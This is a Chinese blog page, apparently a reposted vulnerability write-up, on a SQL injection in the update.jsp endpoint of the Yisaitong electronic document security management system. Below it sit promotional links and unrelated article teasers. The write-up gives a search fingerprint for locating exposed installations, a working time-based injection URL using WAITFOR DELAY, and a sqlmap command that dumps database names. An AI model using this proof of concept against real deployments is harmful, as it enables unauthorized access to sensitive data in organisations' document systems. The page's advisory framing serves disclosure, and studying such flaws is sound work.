当前位置： 首页 > news >正文

掌控安全Update.jsp SQL注入

news 2026/2/8 17:47:04

 

0x01 漏洞介绍
亿赛通电子文档安全管理系统是国内最早基于文件过滤驱动技术的文档加解密产品之一，保护范围涵盖终端电脑（Windows、Mac、Linux系统平台）、智能终端（Android、IOS）及各类应用系统（OA、知识管理、文档管理、项目管理、PDM等）。该漏洞存在与/update接口下，flag对输入的数据没有进行严格的过滤而导致SQL注入，攻击者可以利用该漏洞获取数据库敏感信息。
0x02 影响产品

  1. 亿赛通电子文档安全管理系统

0x03 语法特征

  1. app="亿赛通-电子文档安全管理系统"

0x04 漏洞复现
页面
 


POC

  1. CDGServer3/workflowE/useractivate/update.jsp?flag=1&ids=1,3);WAITFOR%20DELAY%20%270:0:值%27--

修改值的大小 对应延迟时间
 

 
  1. python3 sqlmap.py -u "https://xxxxx/CDGServer3/workflowE/useractiv
  2. ate/update.jsp?flag=1&ids=1,3)" --batch --dbs
 

 

 

 

 

图片
 

没看够~？欢迎关注！
 

 
 

 
 

渗透工具
 

 

技术文档、书籍
 

 
 

 

面试题
 

帮助你在面试中脱颖而出
 

 

视频
 

基础到进阶
 

环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等
 

 
 

 

 















相关文章：
















掌控安全Update.jsp SQL注入




0x01 漏洞介绍 亿赛通电子文档安全管理系统是国内最早基于文件过滤驱动技术的文档加解密产品之一，保护范围涵盖终端电脑（Windows、Mac、Linux系统平台）、智能终端（Android、IOS）及各类应用系统（OA、知识管理…...






编程日记
2023/10/20 15:11:59



















C#将图片转换为ICON格式（程序运行图标）




介绍： 
C#创建窗体项目后左上角有显示图标，这个图标会在运行的时候显示在下面进程这里，但是必须是ico格式的图片才可以导入使用。以下是将图片打开后保存为ico格式代码。 
代码如下： 
main函数测试 
new 将图片转换成icon格式(&qu…...






编程日记
2023/10/20 15:10:58



















ELK架构Logstash的相关插件：grok、multiline、mutate、date的详细介绍




文章目录 1. grok (正则捕获插件)1.1 作用1.2 正则表达式的类型1.2.1 内置正则表达式1.2.2 自定义正则表达式 2. mutate (数据修改插件）2.1 作用2.2 常见配置选项2.3 应用实例 3. multiline （多行合并插件）3.1 作用3.2 常用配置项及示例3.2.1…...






编程日记
2023/10/20 15:07:55



















linux 防火墙介绍以及iptables的使用




背景介绍 在前几天，于工发现我们内部的150服务器7554端口被外网访问了。该应用提供着内部的摄像头资源。为了避免被入侵，于是我添加了一些iptables规则，防止外网的访问。 
解决方式 
解决方式有两种： 
关闭公司公网路由器对150服务…...






编程日记
2023/10/20 15:06:53



















原码、反码、补码在汇编中的应用




原文章：知乎 
原码和二进制类似，不过它有符号位。正数符号位为0，负数为1 。 
例：40000 0100 ，-41000 0100 
原码是人脑最容易理解和计算的表示方式。 
但是这在计算机中计算就出了问题，这两个（4…...






编程日记
2023/10/20 15:04:51



















【红日靶场】vulnstack5-完整渗透过程




系列文章目录 
【红日靶场】vulnstack1-完整渗透过程 【红日靶场】vulnstack2-完整渗透过程 【红日靶场】vulnstack3-完整渗透过程 【红日靶场】vulnstack4-完整渗透过程 文章目录 系列文章目录描述虚拟机密码红队思路 一、环境初始化二、开始渗透外网打点上线cs权限提升域信息…...






编程日记
2023/10/20 15:03:50



















嵌入式平台的电源总结




本文引注: https://mp.weixin.qq.com/s/PuSxHDFbJjjHEReukLSvyg 1.AC的定义 Alternating Current（交流）的首字母缩写。AC是大小和极性（方向）随时间呈周期性变化的电流。电流极性在1秒内的变化次数被称为频率，以Hz为单位…...






编程日记
2023/10/20 15:02:48



















@Binds methods must be abstract 报错指南




bindings方法必须是抽象的    Binds使用错误...






编程日记
2023/10/20 15:01:47



















自定义反序列化类将LocalDate时间格式转为 LocalDateTime




从前端接收数据反序列化成类,如果时间格式不一致可能会反序列化失败 
public class StorageDTO implements Serializable {private static final long serialVersionUID  1L;......//实体类中格式为JsonFormat(pattern  "yyyy-MM-dd")JsonDeserialize(using  CustomL…...






编程日记
2023/10/20 15:00:46



















MySQL JSON_TABLE() 函数




JSON_TABLE()函数从一个指定的JSON文档中提取数据并返回一个具有指定列的关系表。 
应用：数据库字段以JSON 存储后，实际应用需要对其中一个字段进行查询 
语法 
JSON_TABLE(json,path COLUMNS(column[,column[,...]]))column:name参数
json必需的。一个 …...






编程日记
2023/10/20 14:59:45



















【MATLAB第80期】基于MATLAB的结构核岭回归SKRR多输入单输出回归预测及分类预测模型




【MATLAB第80期】基于MATLAB的结构核岭回归SKRR多输入单输出回归预测及分类预测模型 
SKRR这是Gustau Camps-Valls等人在“用深度结构核回归检索物理参数”中提出的结构核岭回归（SKRR）方法。 参考文献： Camps-Valls,Retrieval of Physical Pa…...






编程日记
2023/10/20 14:58:44



















Qt消息对话框的使用




本文介绍Qt消息对话框的使用。 
QMessageBox类是Qt编程中常用到的一个类，主要用来进行一些简单的消息提示，比如：问题对话框，信息对话框等，这些对话框都属于QMessageBox类的静态方法，使用起来比较简单&#…...






编程日记
2023/10/20 14:55:41



















spring的Ioc、DI以及Bean的理解




文章目录 什么是Ioc？Spring和这有什么关系Spring是怎么做的？如果service层对dao层有依赖该怎么办？什么叫做依赖注入Spring这样做的目的是什么参考文献 什么是Ioc？ 
Ioc(Inversion of Control) 控制反转，就是使用对象时…...






编程日记
2023/10/20 14:54:40



















倒计时 天时分秒




shijian() {const EndTIME  new Date(开始时间变量); // 截止时间const NowTime  new Date(); // 开始时间const usedTime  EndTIME - NowTime; // 相差的毫秒数const days  Math.floor(usedTime / (24 * 3600 * 1000)); // 计算出天数const leavel  usedTime % (24 * 3600 * 1…...






编程日记
2023/10/20 14:53:39



















Spring篇---第六篇




系列文章目录 文章目录 系列文章目录一、Spring 框架中的单例 Bean 是线程安全的么？二、Spring 是怎么解决循环依赖的？三、说说事务的隔离级别一、Spring 框架中的单例 Bean 是线程安全的么？ 
Spring 框架并没有对单例 Bean 进行任何多线程的封装处理。 关于单例 Bean 的线程…...






编程日记
2023/10/20 14:52:38



















【unity小技巧】适用于任何 2d 游戏的钥匙门系统和buff系统——UnityEvent的使用




文章目录 每篇一句前言开启配置门的开启动画代码调用，控制开启门动画 新增CollisionDetector 脚本，使用UnityEvent ，控制钥匙和门的绑定多把钥匙控制多个门一把钥匙控制多个门 BUFF系统扩展参考源码完结 每篇一句 
人总是害怕去追求自己最重要…...






编程日记
2023/10/20 14:51:37



















爬虫ip如何加入到代码里实现自动化数据抓取




以下是一个使用HTTP:Tiny和www.weibo.com的音频爬虫程序的示例。这个示例使用了https://www.duoip.cn/get_proxy来获取爬虫IP。请注意，这个示例可能需要根据你的实际需求进行调整。 #!/usr/bin/perluse strict;
use warnings;
use HTTP::Tiny;
use LWP::UserAgent;
…...






编程日记
2023/10/20 14:50:35



















在win10上安装配置Hadoop的环境变量




一、背景 
在windows10系统中运行seatunnel 
二、安装部署 
2.1. 下载 Hadoop包 从 Apache Hadoop 官网下载最新版本的 Hadoop，版本号保持与服务端的Hadoop版本一致。 https://hadoop.apache.org/releases.htmlIndex of /apache/hadoop/core/hadoop-3.2.3/ 2.2.  解…...






编程日记
2023/10/20 14:49:34



















MAX插件CG Magic怎么云渲染？操作方法已整起！




小编这里会收到不少网友的反馈是关于3ds max插件CG Magic怎么云渲染？ 
3d max的这款插件CG MAGIC的出现就是为了设计师使用过程中，可以省时又省心的完成工作。 
同时，大家要了键下，现阶段CG MAGIC有18个板块，118个模块…...






编程日记
2023/10/20 14:48:33



















尝试使用jmeter-maven-plugin




前提准备 
1、maven项目 
2、已安装JMeter、Jenkins、maven、jdk 
环境要求： 
jmeter>5.6.2 
maven >3.9 
jdk>1.8 
Jenkins ? 
备注：jmeter-maven-plugin 无需下载，可查阅相关地址：GitHub - jmeter-maven-plugin/jmete…...






编程日记
2023/10/20 14:47:32





















国防科技大学计算机基础课程笔记02信息编码




1.机内码和国标码 
国标码就是我们非常熟悉的这个GB2312,但是因为都是16进制，因此这个了16进制的数据既可以翻译成为这个机器码，也可以翻译成为这个国标码，所以这个时候很容易会出现这个歧义的情况； 
因此，我们的这个国…...






编程新知
2026/2/8 4:37:15



















利用ngx_stream_return_module构建简易 TCP/UDP 响应网关




一、模块概述 
ngx_stream_return_module 提供了一个极简的指令： 
return <value>;在收到客户端连接后&#xff0c;立即将 <value> 写回并关闭连接。<value> 支持内嵌文本和内置变量&#xff08;如 $time_iso8601、$remote_addr 等&#xff09;&a…...






编程新知
2025/9/21 0:49:02



















转转集团旗下首家二手多品类循环仓店“超级转转”开业




6月9日&#xff0c;国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 
转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 
据「TMT星球」了解&#xff0c;“超级…...






编程新知
2026/2/8 4:08:40



















DIY｜Mac 搭建 ESP-IDF 开发环境及编译小智 AI




前一阵子在百度 AI 开发者大会上&#xff0c;看到基于小智 AI DIY 玩具的演示&#xff0c;感觉有点意思&#xff0c;想着自己也来试试。 
如果只是想烧录现成的固件&#xff0c;乐鑫官方除了提供了 Windows 版本的 Flash 下载工具 之外&#xff0c;还提供了基于网页版的 ESP LA…...






编程新知
2026/2/3 8:13:35



















C++ 求圆面积的程序（Program to find area of a circle）




给定半径r&#xff0c;求圆的面积。圆的面积应精确到小数点后5位。 例子&#xff1a; 
输入&#xff1a;r  5 
输出&#xff1a;78.53982 
解释&#xff1a;由于面积  PI * r * r  3.14159265358979323846 * 5 * 5  78.53982&#xff0c;因为我们只保留小数点后 5 位数字。 
输…...






编程新知
2026/1/31 12:52:15



















3403. 从盒子中找出字典序最大的字符串 I




3403. 从盒子中找出字典序最大的字符串 I 题目链接&#xff1a;3403. 从盒子中找出字典序最大的字符串 I 
代码如下&#xff1a; 
class Solution {
public:string answerString(string word, int numFriends) {if (numFriends  1) {return word;}string res;for (int i  0;i &…...






编程新知
2025/10/31 5:18:02



















Android第十三次面试总结（四大 组件基础）




Activity生命周期和四大启动模式详解 
一、Activity 生命周期 
Activity 的生命周期由一系列回调方法组成&#xff0c;用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机&#xff1a; ​onCreate()​​ ​调用时机​&#xff1a;Activity 首次创建时调用。​…...






编程新知
2025/10/15 15:07:34



















LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf




FTP 
客服管理系统 
实现kefu123登录&#xff0c;不允许匿名访问&#xff0c;kefu只能访问/data/kefu目录&#xff0c;不能查看其他目录 
创建账号密码 
useradd kefu echo 123|passwd -stdin kefu 
[rootcode caozx26420]# echo 123|passwd --stdin kefu
更改用户 kefu 的密码…...






编程新知
2026/1/25 9:03:19



















Leetcode33（ 搜索旋转排序数组）




题目表述 
整数数组 nums 按升序排列&#xff0c;数组中的值 互不相同 。 
在传递给函数之前&#xff0c;nums 在预先未知的某个下标 k&#xff08;0 < k < nums.length&#xff09;上进行了 旋转&#xff0c;使数组变为 [nums[k], nums[k1], …, nums[n-1], nums[0], nu…...






编程新知
2026/1/17 19:18:25



















Python 高效图像帧提取与视频编码：实战指南




Python 高效图像帧提取与视频编码：实战指南 
在音视频处理领域，图像帧提取与视频编码是基础但极具挑战性的任务。Python 结合强大的第三方库（如 OpenCV、FFmpeg、PyAV），可以高效处理视频流，实现快速帧提取、压缩编码等关键功能。本文将深入介绍如何优化这些流程，提高处理…...






编程新知
2025/8/31 18:02:53